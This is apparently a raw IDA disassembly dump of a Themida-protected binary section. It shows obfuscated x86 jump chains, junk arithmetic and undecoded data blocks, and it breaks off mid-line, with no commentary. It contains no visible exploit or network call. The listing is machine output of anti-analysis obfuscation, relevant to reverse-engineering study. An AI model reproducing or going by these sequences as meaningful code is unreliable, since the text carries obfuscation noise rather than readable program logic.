8304C483h, 348904ECh, 81E68924h dd 4C6h, 835E900h, 48B0001h, 4C48324h, 4C481h, 2BE90000h dd 5900008Ah, 6F3EE9h db 0 ; --------------------------------------------------------------------------- loc_58FCB1: ; CODE XREF: Themida_:00599D54j not bl jmp loc_594FB4 ; --------------------------------------------------------------------------- loc_58FCB8: ; CODE XREF: Themida_:0058E59Dj pop dword ptr [esp] jmp loc_5A15A6 ; --------------------------------------------------------------------------- loc_58FCC0: ; CODE XREF: Themida_:0059A4ABj mov esi, 47FD061Eh jmp loc_59FCBB ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0EB810000h, 4, 5C241C87h, 5FE6E9h, 4BE00h, 74010000h dd 0EEE90424h, 0BB0000E2h, 15751796h, 8102E3C1h, 81445DC3h dd 47EB8147h, 0E9D69BC2h, 5CE1h, 5161ED81h, 0F501553Fh dd 3B0BA52h, 0EA8100BBh, 469C4E08h, 12684E9h db 0 ; --------------------------------------------------------------------------- loc_58FD21: ; CODE XREF: Themida_:00595921j pop edx jmp loc_59A49A ; --------------------------------------------------------------------------- db 33h dd 3C31243Ch, 243C3324h, 1EB4E95Ch, 0CD010000h, 0BBD3E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58FD3E: ; CODE XREF: Themida_:0059E66Aj add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_591414 ; --------------------------------------------------------------------------- loc_58FD4F: ; CODE XREF: Themida_:00597645j sub al, 0EBh push dword ptr [esp] jmp loc_594667 ; --------------------------------------------------------------------------- db 68h, 9Ch, 23h dd 24890000h, 25E95024h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58FD67: ; CODE XREF: Themida_:0059C82Dj add esp, 4 dec edi sub edi, 33E29CB5h mov ebp, edi push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 add esp, 4 push ebx mov ebx, 5DE31A77h neg ebx xor ebx, 0BE0C8C7Eh jmp loc_598B10 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_59CFB7 ; --------------------------------------------------------------------------- dd 1A71F181h, 0C181037Eh, 2FE1014h, 0B459E9h db 0 ; --------------------------------------------------------------------------- loc_58FDB9: ; CODE XREF: Themida_:0059A9EEj push edi mov edi, 4 jmp loc_5A27FC ; --------------------------------------------------------------------------- dd 515FFE01h, 4B9h, 59CE0100h, 8B243487h, 0E9C12424h, 0E0895006h dd 405h, 42D00h, 4870000h, 1C895C24h, 815B5424h, 4C3h dd 0E7A1E900h, 0CD010000h, 0DB68E959h, 0BA520000h, 5FD000C9h dd 508BC281h, 0EA815A5Bh, 0BA2B5150h, 835AD101h, 0C8904ECh dd 2474FF24h, 48F5904h, 72E95C24h, 100002Ah, 3C875AD7h dd 0BD555C24h, 4, 12B03E9h db 0 ; --------------------------------------------------------------------------- loc_58FE3D: ; CODE XREF: Themida_:0058F841j mov ebp, [esp] jmp loc_58E9C9 ; --------------------------------------------------------------------------- db 80h, 0F6h, 0DEh dd 100BBE9h, 4C28300h, 0AFA1E9h, 7991BF00h, 0F781713Ch dd 36C7233Ch, 2F36BE56h, 0F72156A6h, 0A434E9h, 4C48300h dd 4244481h, 3EFD2530h, 4246C81h, 0F947751h, 5D6FE9h db 0 ; --------------------------------------------------------------------------- loc_58FE85: ; CODE XREF: Themida_:0058F466j mov ecx, esp push esi mov esi, 467E4874h sub esi, 467E4870h add ecx, esi mov esi, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] pop esp loc_58FEA2: ; CODE XREF: Themida_:00597F10j push 5F34h mov [esp], ebx push dword ptr [esp] jmp loc_593691 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 0E9000000h, 522Eh dword_58FEC0 dd 9C241CF6h, 7476E9h db 0 ; --------------------------------------------------------------------------- loc_58FEC9: ; CODE XREF: Themida_:00599038j pop edi mov ebp, edi pop edi xor ecx, ebp pop ebp mov ebx, ecx jmp loc_596B50 ; --------------------------------------------------------------------------- db 8Bh dd 0FDE9240Ch, 5C0000D5h, 3407E9h db 0 ; --------------------------------------------------------------------------- loc_58FEE5: ; CODE XREF: Themida_:005960E8j movzx eax, al lea eax, [edi+eax*4] jmp loc_596C18 ; --------------------------------------------------------------------------- loc_58FEF0: ; CODE XREF: Themida_:005919E8j push esi push edx push 42983296h pop edx push ebp mov ebp, 4141299Bh jmp loc_59D204 ; --------------------------------------------------------------------------- db 68h dd 2551h, 0B9240C89h, 6D8D42C9h, 5603E9C1h, 228F68BEh dd 5EF10165h, 2FE7C781h, 0C9E945C8h, 5E000095h, 5318EF81h dd 0ECE94362h, 590000F0h, 2C781h, 3C330000h, 243C3124h dd 8B243C33h, 0F7662424h, 0D3E950E1h, 81FFFFEEh, 0D75188EEh dd 24148B6Ah, 8904EC83h, 0E189240Ch, 4C181h, 0BF570000h dd 4, 539DC181h, 0F9017735h, 539DE981h, 0E95F7735h, 6727h ; --------------------------------------------------------------------------- loc_58FF80: ; CODE XREF: Themida_:005A3009j push edx mov dh, 8Eh xor dh, 89h add dh, 7Bh sub al, dh pop edx xor al, 4Fh jmp loc_5A1AA8 ; --------------------------------------------------------------------------- db 1 aSu db 'Øéî>',0 align 2 word_58FF9A dw 8B66h ; DATA XREF: Themida_:0058E1B0o dd 7368240Ch, 89000039h, 2DE9240Ch, 8900003Bh, 92E9242Ch dd 3100006Dh, 243C8BF9h, 8104C483h, 0A152FBE9h, 0C0F1810Dh dd 8136687Dh, 622074C9h, 0FA29E96Dh, 815EFFFFh, 926E7CFh dd 8EFC119h, 0FFF0A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_58FFE1: ; CODE XREF: Themida_:00595008j add esp, 4 sub eax, edi add eax, 4F5F529Ah pop edi push esi jmp loc_591E40 ; --------------------------------------------------------------------------- dw 505Eh dd 120146B8h, 71FE0D09h, 0E8C130D0h, 0CFDDE906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_590006: ; CODE XREF: Themida_:0059CCCDj pop ebx sub edx, edi jmp loc_59EE90 ; --------------------------------------------------------------------------- dw 0BB53h dd 746C27AFh, 0F708EBC1h, 20C381D3h, 0E959723Dh, 0E02Ch ; --------------------------------------------------------------------------- loc_590024: ; CODE XREF: Themida_:0059E0BBj mov [esp], ebx jmp loc_59358B ; --------------------------------------------------------------------------- aPsj db 'PéJÅ',0 align 2 loc_590032: ; CODE XREF: Themida_:0058EA57j pop ebp push eax push 4 pop eax jmp loc_59A86A ; --------------------------------------------------------------------------- db 0BBh dd 190169ACh, 5005EBC1h, 47349FB8h, 5E8C102h, 0F7000E0Dh dd 0F70B0554h, 80E91F93h db 0AAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59005F: ; CODE XREF: Themida_:005A0299j mov ebp, 8A38066h sub esi, ebp pop ebp add ecx, esi pop esi and eax, ecx push dword ptr [esp] pop ecx jmp loc_59D323 ; --------------------------------------------------------------------------- db 0E9h, 0D9h, 0E2h dd 0C581FFFFh, 4, 4EC81h, 4890000h, 4EC8124h, 89000000h dd 0C1BE2434h, 68763A4Eh, 3398h, 85DE9h, 0EC815A00h, 4 dd 89240489h, 58C589D8h, 4BED815Bh, 0E927E55Ah, 77F2h dword_5900BC dd 24048B66h, 377968h, 242C8900h, 5CE9E589h, 0BE000011h ; DATA XREF: Themida_:0058E29Co dd 29C03E58h, 348BF201h, 8089E924h, 815C0000h, 4ECh, 241C8900h dd 0C37EE954h, 54010000h, 44810424h, 4CCA0424h, 8B5A0163h dd 0C483243Ch, 6954E904h, 11680000h, 0E900001Eh, 4D25h dd 0BB241C89h, 1F1A425Bh, 0DD1AE9h, 0C2815A00h, 4, 4BE56h dd 0C2810000h, 43357708h, 0EA81F201h, 43357708h, 0F66BE95Eh dd 0F68FFFFh, 5F436A3Eh, 63C8E952h, 68520000h, 5AE00C85h dd 0E924148Bh, 2AE2h ; --------------------------------------------------------------------------- loc_590158: ; CODE XREF: Themida_:0059BCAAj pop edi sub edi, ecx pop ecx add edi, 9DD635DBh mov esi, edi mov edi, [esp] add esp, 4 sub esi, 0FFFFFFFFh jmp loc_5A1697 ; --------------------------------------------------------------------------- db 58h, 0, 0EBh dd 240C8B66h, 0F0ABE9h db 0 ; --------------------------------------------------------------------------- loc_590181: ; CODE XREF: Themida_:005A14B3j add esp, 4 sub eax, 0C80F22B5h add esi, eax pop eax add esi, 5E3651D6h pop edi xchg esi, [esp] pop esp push 6A55h jmp loc_59083F ; --------------------------------------------------------------------------- db 0F6h, 0DCh, 0F6h aAVsdz db 'ԀĢ鄧',0 dd 5BDE3100h, 0EE1BE9h, 24148700h, 83242C8Bh, 0FF5504C4h dd 5D042474h, 19A4E9h, 0D9F78100h, 1BA5A2Ch, 2DE95FFBh db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5901D7: ; CODE XREF: Themida_:00596EBFj push 4AC62DC2h pop ecx or ecx, 2B0F40B0h dec ecx inc ecx sub ecx, 6672679Ah mov edi, ecx pop ecx or edi, 3D8654Ah xor edi, 133E0D9Dh sub eax, edi pop edi shl eax, 5 not eax inc eax sub eax, 39508810h sub edx, 5B85061Bh sub edx, eax add edx, 5B85061Bh mov eax, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_596993 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C481240Ch, 4, 5C24048Fh, 81E28952h, 4C2h dd 8BABE900h, 0C6800000h, 0E9F028F6h, 3A3Ch dword_590250 dd 8B2434FFh, 0A6E92404h, 5100004Fh, 0B8505954h, 66F24F74h ; DATA XREF: Themida_:0058E154o dd 1A5BDA35h, 26C0D12h, 0A8052C8Fh, 35627440h, 62B36D35h dd 0D03A9F2Dh, 58C101BDh, 8704C183h, 835C240Ch, 0CE904ECh dd 0BA000109h, 1E20906h, 310E702Dh, 5D02925h, 25310E70h dd 0E924148Bh, 0C2F5h, 0FF241487h, 835B2434h, 0BA5204C4h dd 7A3F1FE3h, 815AD329h, 0FE5338CBh, 9DC3816Bh, 0E93507BFh dd 0FB2Bh ; --------------------------------------------------------------------------- loc_5902CC: ; CODE XREF: Themida_:00597ECBj mov [esp], ebp mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebp jmp loc_59AC2B ; --------------------------------------------------------------------------- db 0BAh, 6Eh, 7 dd 0D631221Ah, 5EF1295Ah, 0E956D901h, 0FFFFF326h ; --------------------------------------------------------------------------- loc_5902F4: ; CODE XREF: Themida_:0059E2CDj push 3BFEh mov [esp], ecx sub esp, 4 mov [esp], ebx push edi mov edi, 781C6A36h sub [esp+4], edi mov edi, [esp] add esp, 4 push dword ptr [esp] pop ecx push ecx push esp jmp loc_59AC25 ; --------------------------------------------------------------------------- dd 24048F54h, 4B951h, 4C010000h, 8B590424h, 0C481243Ch dd 4, 0B7D68h, 24048900h, 6C4AE9h, 1C8B5800h, 4C48124h dd 80000000h, 506601C6h, 0E6306BB4h, 0EEC05866h, 11F68006h dd 0EDE2E9h, 24048000h, 242C8048h, 24242835h, 0FFF8ACE9h dd 5FFA01FFh, 8702EA83h, 248B2414h, 4896624h, 0DFC9E924h dd 62B9FFFFh, 1E5ED27h, 0E95659CEh, 0F528h, 33241431h dd 248B2414h, 0BB0F6624h, 0E99C2404h, 4285h, 3101ED83h dd 0E9D531EAh, 39C5h, 0BF57E389h, 3DC101B5h, 95BA5247h dd 815C9814h, 453351E2h, 2E78E93Bh, 0F5010001h, 4BB535Eh dd 0E9000000h, 30D8h, 42474FFh, 24048F5Eh, 6824248Bh, 13EAh dd 89240489h, 405E0h, 0E9570000h, 2BACh, 5166E828h, 0E828F2B5h dd 240C8B66h, 5302C483h, 67E0E9h db 0 ; --------------------------------------------------------------------------- loc_590415: ; CODE XREF: Themida_:00597D78j mov dx, [esp] add esp, 2 push ecx mov ch, 4Bh add bl, ch pop ecx add bl, 0A3h sub bl, 85h add bl, al add bl, 85h sub bl, 0A3h push 7E6Eh mov [esp], edx mov dh, 33h sub esp, 4 mov [esp], eax mov al, 2 or dh, al push dword ptr [esp] pop eax push ecx jmp loc_599C0C ; --------------------------------------------------------------------------- dw 0F668h dd 89000028h, 61BF243Ch, 0E969F065h, 0EAD6h ; --------------------------------------------------------------------------- loc_590460: ; CODE XREF: Themida_:00595C48j mov ebx, 6F251F05h xor ebx, 7BB93D2Dh or edx, ebx pop ebx jmp loc_59F3E9 ; --------------------------------------------------------------------------- db 0FFh dd 148B2434h, 4C48324h, 0E904C483h, 11C6Ch dword_590484 dd 24048B66h, 50F468h, 24348900h, 0BF575E54h, 4, 555FFE01h ; DATA XREF: Themida_:0058E224o dd 8CE95152h, 680000C2h, 67E0h, 0BA241489h, 1FF854EBh dd 0D71B0EBFh, 0FFD7310Fh, 835A2434h, 76E904C4h, 8700006Ch dd 0F75D2434h, 3EF581DDh, 0E91FB403h, 0ABCh dword_5904D4 dd 78E9028Fh, 81FFFFDEh, 4C7h, 243C8700h, 74FF575Ch, 3C8B0424h ; DATA XREF: Themida_:0058E2ECo dd 0FCF4E924h, 0E2810000h, 7E9577CDh, 8904EC83h, 14F72414h dd 0E9535A24h, 0E5CFh, 2631E950h db 1, 0 ; --------------------------------------------------------------------------- loc_59050E: ; CODE XREF: Themida_:00597072j pop edx xor dh, al mov ax, [esp] push eax mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp] pop esp jmp loc_59BE4F ; --------------------------------------------------------------------------- loc_590529: ; CODE XREF: Themida_:00596BFEj push esi jmp loc_59F1E5 ; --------------------------------------------------------------------------- db 66h dd 662248BEh, 5E66F531h, 84ED8166h, 0C581664Bh, 216699DFh dd 81665DEAh, 6649B1EAh, 14876652h, 0D2F76624h, 24148766h dd 55665A66h, 33D4BD66h, 0A4E58166h, 664D6642h, 2BD1C581h dd 41F58166h, 0C5816667h, 816657BDh, 66681AC5h, 4DE9EA01h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590583: ; CODE XREF: Themida_:00597A3Fj pop eax jmp loc_58EA5C ; --------------------------------------------------------------------------- db 53h, 0FFh, 74h dd 8F5B0424h, 2EE92404h, 8100005Dh, 0BF04C5E5h, 4EC8131h dd 89000000h, 0E0BA2414h, 31205E4Fh, 0EA095AD5h, 0FFE37FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5905B5: ; CODE XREF: Themida_:00597B92j mov ebx, [esp] add esp, 4 and dl, cl push dword ptr [esp] jmp loc_59AA6D ; --------------------------------------------------------------------------- db 56h, 0BEh, 79h dd 146B975h, 0B6F1E9F5h db 2 dup(0) word_5905D2 dw 34FFh ; DATA XREF: Themida_:0058E1A4o dd 0FCE95924h, 89000022h, 68532414h, 78D53DEDh, 11C3815Bh dd 89872AC3h, 0D6895BDAh, 1C77215Ah, 0DD59E95Eh, 1D2DFFFFh dd 810235E3h, 5B61FFC7h, 68C70146h, 1300h, 0BB241C89h dd 465B61FFh, 1A1DE9h, 2474FF00h, 48F5D04h, 0C895C24h dd 2474FF24h, 48F5904h, 14335C24h, 24143124h, 12A07E9h db 0 ; --------------------------------------------------------------------------- loc_590639: ; CODE XREF: Themida_:00596C97j sub ebp, 2262416Dh jmp loc_5A2E52 ; --------------------------------------------------------------------------- loc_590644: ; CODE XREF: Themida_:005A0E10j push 1ECD46D7h pop ecx xor ecx, 5E9564B1h jmp loc_597175 ; --------------------------------------------------------------------------- db 0B8h, 3, 47h dd 2D407AE0h, 65565589h, 12F6E9h, 24248B00h, 81242489h dd 42404h, 34FF0000h, 2434FF24h, 0E0895058h, 405h, 0D2AE900h dd 0ED810000h, 4, 2474FF55h, 242C8B04h, 4C481h, 48F0000h dd 24248B24h, 24048F54h, 4BA52h, 6C810000h, 74E10424h dd 0E9521EFFh, 1375h, 4C4835Ch, 86244781h, 512DD851h, 0D166857h dd 0D4E92211h, 8100010Ah, 4ECh, 24148900h, 10243481h, 8B50A23Fh dd 0C4832404h, 3F103504h, 0F75A50A2h, 105D8h, 0BB530000h dd 6584402Ah, 0B523FA2Dh, 5D8293Ch, 3CB523FAh, 0FFC6295Bh dd 81582434h, 4C4h, 3256800h, 34890000h, 0B813E924h, 0BF570000h dd 1E457CE5h, 7CE1EF81h, 0FD011E45h, 242C335Fh, 33242C31h dd 3E9242Ch, 0BE00004Eh, 588B7BF0h, 293DB2BDh, 5EF53169h dd 0C15DE929h, 81E907E9h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_590753: ; CODE XREF: Themida_:0059DF97j mov [esp], ax push edx jmp loc_58E8D5 ; --------------------------------------------------------------------------- db 0BFh, 33h, 1Bh dd 0C14F5DD9h, 814F05E7h, 792C24EFh, 32BAE93Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_590772: ; CODE XREF: Themida_:00595C42j sub ebx, 600C41BEh push eax push ebp mov ebp, 5F32B74h jmp loc_58F8D4 ; --------------------------------------------------------------------------- dd 5C243C33h, 0FFDE1DE9h, 4C181FFh, 83000000h, 0C3304C1h dd 5ED0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59079E: ; CODE XREF: Themida_:005985EFj mov al, dh mov [ecx], al pop eax pop edx jmp loc_595AFA ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 4ED8300h, 8B242C87h, 52E92424h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5907BF: ; CODE XREF: Themida_:00596C09j pop eax jmp loc_59788B ; --------------------------------------------------------------------------- db 1, 0CFh, 59h dd 31243C33h, 3C33243Ch, 50535C24h, 0E788A2B4h, 0F7C1E9h dd 0C5E95C00h, 0F70000F6h, 28E681D6h, 810AD658h, 0C17F01C6h dd 0BDD1E9A7h db 2 dup(0) aN1Hcr db '1ØhæR',0 ; DATA XREF: Themida_:0058E168o align 2 dw 1C89h dd 4EC8324h, 84FEE9h, 1C58000h, 0C004E5C0h, 0F58005E5h dd 22E950E5h, 68000088h, 4141h, 123E6E9h, 5AD62900h, 5EB9BF57h dd 0EC8315ACh, 241C8904h, 4E506851h, 5E96007h db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59083F: ; CODE XREF: Themida_:0059019Cj mov [esp], edx sub esp, 4 mov [esp], ebp push ebx mov ebx, 74051974h push 6C24h mov [esp], ecx jmp loc_597CCF ; --------------------------------------------------------------------------- aSILSB db 'S»I)«;é:b',0 align 2 dw 0B951h dd 4, 0E959CE01h, 0C483h, 53E08950h, 4BBh, 0F154E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590882: ; CODE XREF: Themida_:0058FB86j pop ebp push 7041h mov [esp], edx jmp loc_5961ED ; --------------------------------------------------------------------------- loc_590890: ; CODE XREF: Themida_:0059B42Aj add esp, 4 sub esi, 1A111839h jmp loc_59E19F ; --------------------------------------------------------------------------- aISH db '‰,$é',0Ah db 'h',0 dd 8BEE8800h, 79E9240Ch db 85h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5908B3: ; CODE XREF: Themida_:0059814Cj add ebp, eax push esi push 145A253Eh mov esi, [esp] add esp, 4 sub ebp, 0FC51FA0h jmp loc_59283D ; --------------------------------------------------------------------------- loc_5908CC: ; CODE XREF: Themida_:005A2AC4j add esp, 4 xor ecx, 66CA480Dh and ecx, 117F433Ah jmp loc_599467 ; --------------------------------------------------------------------------- loc_5908E3: ; CODE XREF: Themida_:005979CBj xor dword ptr [esp], 57C4A01h pop eax push 27BDh mov [esp], edi mov edi, 33F056Dh push ebx jmp loc_5927D6 ; --------------------------------------------------------------------------- dw 3489h dd 2414F724h, 6E6C15Eh, 57BA68h, 24148900h, 765EE950h dd 342D0000h, 0F7229126h, 0BDD305D0h, 5AE9D815h, 8100005Bh dd 8F079AE9h, 84C1815Eh, 297A958Eh, 18E959CAh, 21FFFFDAh dd 0F3815DEBh, 75383B18h, 3915EB81h, 112D2501h, 130ED6Ah dd 6A1105D8h, 0E95B30EDh, 788Ch, 0E169BE56h, 0F10118FFh dd 59CA315Eh, 815AD629h, 0C26C5AEAh, 57F20117h, 8A439BBFh dd 89F7812Ch, 474E0E79h, 2BCCE9h, 24248900h, 4BB53h, 0BE560000h dd 62115A0Bh, 5DCFE9h, 0FB015B00h, 8BDD015Fh, 0D5E9241Ch dd 810000D0h, 4C7h, 13A3E900h, 815B0000h, 4EFh, 243C3300h dd 33243C31h, 895C243Ch, 0BF572404h, 3E0973h, 535FF889h dd 5C6DD7BBh, 0F7DBF732h, 0C3EB81D3h, 0E95DBC3Bh, 87EDh ; --------------------------------------------------------------------------- loc_5909E4: ; CODE XREF: Themida_:0059E90Aj mov eax, [esp] push ecx jmp loc_5A0E15 ; --------------------------------------------------------------------------- loc_5909ED: ; CODE XREF: Themida_:005946ADj push eax mov ah, 50h add ah, 64h jmp loc_599F1E ; --------------------------------------------------------------------------- loc_5909F8: ; CODE XREF: Themida_:0059B620j and bh, al pop eax push dx jmp loc_5A043F ; --------------------------------------------------------------------------- loc_590A02: ; CODE XREF: Themida_:00590A57j mov ebp, 1D0D6A11h mov ecx, ebp jmp loc_5A0045 ; --------------------------------------------------------------------------- dw 5B54h dd 4EC81h, 4CE90000h, 81FFFFECh, 0FA5B2DEEh, 0EC815B67h dd 4, 53D3E9h db 0 ; --------------------------------------------------------------------------- loc_590A2D: ; CODE XREF: Themida_:0059B7B5j pop esi jmp loc_58E353 ; --------------------------------------------------------------------------- db 89h dd 8C06E9F0h, 21BE0000h, 0E959146Dh, 6406h, 4EC8358h, 60FBE9h dd 2434FF00h, 11C31E9h db 0 ; --------------------------------------------------------------------------- loc_590A55: ; CODE XREF: Themida_:00598133j push ecx push ebp jmp loc_590A02 ; --------------------------------------------------------------------------- loc_590A5C: ; CODE XREF: Themida_:0058EAECj push esi mov esi, edx mov ebx, esi pop esi jmp loc_59E73A ; --------------------------------------------------------------------------- loc_590A67: ; CODE XREF: Themida_:0059C882j pop ebp jmp loc_59B0C5 ; --------------------------------------------------------------------------- db 68h, 12h, 1Ah dd 348B246Fh, 4C48324h, 34FFC631h, 0C4815824h, 4, 0E9F08950h dd 7619h, 5E08950h, 4, 8704C083h, 248B2404h, 4C38124h dd 0E9000000h, 0C205h, 8258BA2Dh, 4E75353Bh, 0C229F72Ah dd 0AEEA8158h, 89593BCDh, 0C7815AD7h, 0FFFFFFFFh, 0F3BA5256h dd 8132F650h, 6D275CEAh, 5AD689CAh, 5090E9h, 0FB82BB00h dd 0DD019D0Eh, 0E9241C8Bh, 39A4h ; --------------------------------------------------------------------------- loc_590AE8: ; CODE XREF: Themida_:0059A865j not al add al, 1 push ecx push 7114h jmp loc_5A202F ; --------------------------------------------------------------------------- db 87h dd 8BE94BDAh, 81000122h, 4C6h, 92E95200h, 890000DEh, 0AEE92434h dd 89000065h, 4C381E3h, 81000000h, 4C3h, 241C8700h, 0FEE9415Ch dd 5300002Dh, 0AD6510BBh, 245C0114h, 0E95E5B04h, 744Ch dd 8124348Bh, 4C4h, 243C3300h, 33243C31h, 895C243Ch, 94E92434h dd 10000D3h, 243C8BFAh, 81E28952h, 4C2h, 4C28100h, 0E9000000h dd 8D50h, 0E904C483h, 9D52h ; --------------------------------------------------------------------------- loc_590B78: ; CODE XREF: Themida_:0059947Cj sub ecx, 7DD528C0h xor ecx, 0DD0F3931h sub ebp, ecx pop ecx jmp loc_59EFEC ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFD7BFh, 0E4C68158h, 5B251628h, 2BA52h dd 0EE810000h, 11E0207Bh, 570BC681h, 0D6010097h, 570BB850h dd 0C6290097h, 0E1895158h, 118F7E9h, 4BE00h, 73E90000h dd 560000D5h, 0D008E1BEh, 4359E926h, 0C8000000h, 2CC80059h dd 0EC8159F1h, 2, 1305E9h db 0 ; --------------------------------------------------------------------------- loc_590BE9: ; CODE XREF: Themida_:005940E0j add edi, ebp jmp loc_5A1B66 ; --------------------------------------------------------------------------- dd 4C481h, 4E90000h db 12h, 1, 0 ; --------------------------------------------------------------------------- loc_590BFB: ; CODE XREF: Themida_:0059E5CAj mov ebx, [esp] jmp loc_59922B ; --------------------------------------------------------------------------- db 81h dd 0C264B1EFh, 0B8505E5Fh, 31573569h, 8805D0F7h, 2D132205h dd 2CA2202Bh, 0CC0BE9h db 0 ; --------------------------------------------------------------------------- loc_590C21: ; CODE XREF: Themida_:0059BA5Fj mov edi, 69AD59F2h push 6BD9h mov [esp], edi jmp loc_59B4C6 ; --------------------------------------------------------------------------- aU4?lpSle db '¸ã4?LP]éLe',0 dw 5000h dd 0F10CCBB8h, 67B9515Eh, 317B854Bh, 0BE5659C8h, 6A85204Dh dd 71C681h, 0D6F753DEh, 0D6F7DEF7h, 0D4EAF681h, 0F001278Bh dd 35E0D15Eh, 3B05CEF1h, 8158C609h, 360630EEh, 5EF589A9h dd 14E9h, 0FFC78300h, 4175E9h, 0B9E95D00h, 5300010Fh, 0FFF3AAE9h dd 5DE801FFh, 4EC81h, 3C890000h, 0F366BF24h, 0F831357Eh dd 8B2434FFh, 0C481243Ch, 4, 20F068h, 240C8900h, 2F2768h dd 24248900h, 4240483h, 58ADE9h db 0 ; --------------------------------------------------------------------------- loc_590CCD: ; CODE XREF: Themida_:00598E75j mov edi, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] push 72FDh jmp loc_593BC7 ; --------------------------------------------------------------------------- loc_590CE6: ; CODE XREF: Themida_:0059ED8Bj xor [esp], ebp mov ecx, [esp] jmp loc_590EE0 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4835Fh, 2474FF56h, 24348B04h, 4C481h, 48F0000h, 4FF5C24h dd 40E99C24h, 81FFFFD6h, 4EEh, 24348700h, 105AE95Ch, 2CE90001h dd 83FFFFD6h, 0B85004C4h, 43C2F7Ah, 48BC101h, 0D8E95324h dd 1FFFFFDh, 0A79E9FAh, 68590000h, 61F2h, 89243C89h, 0DEBA52E7h dd 813E5830h, 4E7065C2h, 7E2C117h, 8106E2C1h, 0D7A004C2h dd 5AD7012Bh, 5704EF83h, 42474FFh, 24048F5Fh, 2434895Ch dd 268h, 2434FF00h, 0FFDA4FE9h, 2CEA80FFh, 801CEA80h, 0D530E7EAh dd 59EB885Ah, 6820CB80h, 0BA7h, 0E9241489h, 0C34Dh, 8B2414F7h dd 9E92414h, 8100006Bh, 4C4h, 9CC78100h, 57A7FA7Fh, 8324148Bh dd 0B4E904C4h, 6800009Eh, 33C3h, 118D3E9h, 0C9F68100h dd 523D0570h, 8B0B06BAh, 3E2C116h, 2595C281h, 0BBE94B4Fh dd 89000016h, 5EE9242Ch db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590DF3: ; CODE XREF: Themida_:00594867j push edx mov edx, 6CCD37EAh mov ebx, 0C23C508Ch add ebx, 762B0FD3h sub ebx, edx sub ebx, 762B0FD3h pop edx or ebx, 62F65BFEh add ebx, 1 sub ebx, 6C2856A1h and ebx, 7E3C7C8Ah jmp loc_5A0F89 ; --------------------------------------------------------------------------- dw 5B59h dd 2D2EEE81h, 0CE015F69h, 96A8E9h, 59545100h, 426168h dd 241C8900h, 893AAFBBh, 7CEB8154h, 68132F20h, 4F8Fh, 0BE243489h dd 46693929h, 19BCE9h, 58C12800h, 2C3AF180h, 28CE2CD3h dd 0E9CE04C8h, 0CBFCh, 8904EC83h, 0F1BF243Ch, 0E967D56Bh dd 0F887h, 65B9C381h, 0F30111DAh, 65B9EB81h, 4E911DAh dd 0FF000018h, 2AE92434h, 550000C8h, 0B9AB951h, 4CE96CFBh dd 0BA00011Bh, 4, 0FFEF76E9h, 245C01FFh, 241C8B04h, 0E904C483h dd 94D2h ; --------------------------------------------------------------------------- loc_590EC4: ; CODE XREF: Themida_:0059AF1Aj push ecx jmp loc_59BA17 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835824h, 32E95104h, 0B60000ECh, 0E9DEF626h, 0FD5h ; --------------------------------------------------------------------------- loc_590EE0: ; CODE XREF: Themida_:00590CECj add esp, 4 jmp loc_597B63 ; --------------------------------------------------------------------------- db 57h dd 42474FFh, 1034E95Fh, 0B9510001h, 56A46DAEh, 8103E9C1h dd 0A97066C1h, 93E9813Ah, 1FFEB5Ah, 240C8BCEh, 4C481h dd 0C2E90000h, 5C000055h, 0B6241489h, 80D6F6EBh, 0F6805ACEh dd 3EEC09Bh, 0E5B3E9h, 4C48100h, 81000000h, 4ECh, 25ABE900h dd 0CE810000h, 4755196Ah, 0FFFFEE81h, 0E950FFFFh, 0D3E1h dd 33240431h, 248B2404h, 240C3324h, 33240C31h, 0E95C240Ch dd 10A1Ch, 0FFD3E2E9h, 2454F6FFh, 0E9515801h, 10FFEh dword_590F7C dd 24048B66h, 4377E9h, 6F68100h, 0E9E23B99h, 0EE85h, 8B1C6F21h ; DATA XREF: Themida_:0058E270o dd 8953242Ch, 36B850E3h, 0E9075E63h, 0A4F6h, 5B5DE829h dd 7C2BD32Dh, 9EC9E94Ch, 0D5890000h, 4CE9525Ah db 8Fh, 2 dup(0) byte_590FBB db 66h ; DATA XREF: Themida_:0058E158o dd 0E9240C8Bh, 1217Fh, 315AD589h, 0BF575AD5h, 7A484A3Bh dd 3C8BF901h, 0D25AE924h db 2 dup(0) word_590FDA dw 8B66h ; DATA XREF: Themida_:0058E288o dd 91682404h, 8900006Bh, 0E2892414h, 4C281h, 8680000h dd 89000030h, 268242Ch, 5D000000h, 34FFEA01h, 242C8B24h dd 4C481h, 0EC810000h, 4, 0E9240C89h, 0FFFFE41Ch ; --------------------------------------------------------------------------- loc_591018: ; CODE XREF: Themida_:0059F0CCj push dword ptr [edi+eax*4] push edx jmp loc_59B152 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0B2E95904h, 8100000Ch, 575F5DF1h, 4E1C13Ch, 3635E981h dd 0E9C14606h, 5BC18108h, 1653991h, 0F270E9CBh, 